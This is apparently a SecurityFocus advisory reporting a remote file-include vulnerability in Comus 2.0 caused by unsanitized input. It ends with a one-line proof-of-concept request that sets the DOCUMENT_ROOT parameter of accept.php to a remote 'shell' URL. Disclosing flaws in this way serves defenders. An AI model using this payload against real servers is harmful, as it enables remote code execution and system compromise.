source: http://www.securityfocus.com/bid/23661/info

Comus is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects Comus 2.0; other versions may also be affected. 

http://www.example.com/accept.php?DOCUMENT_ROOT=http://shell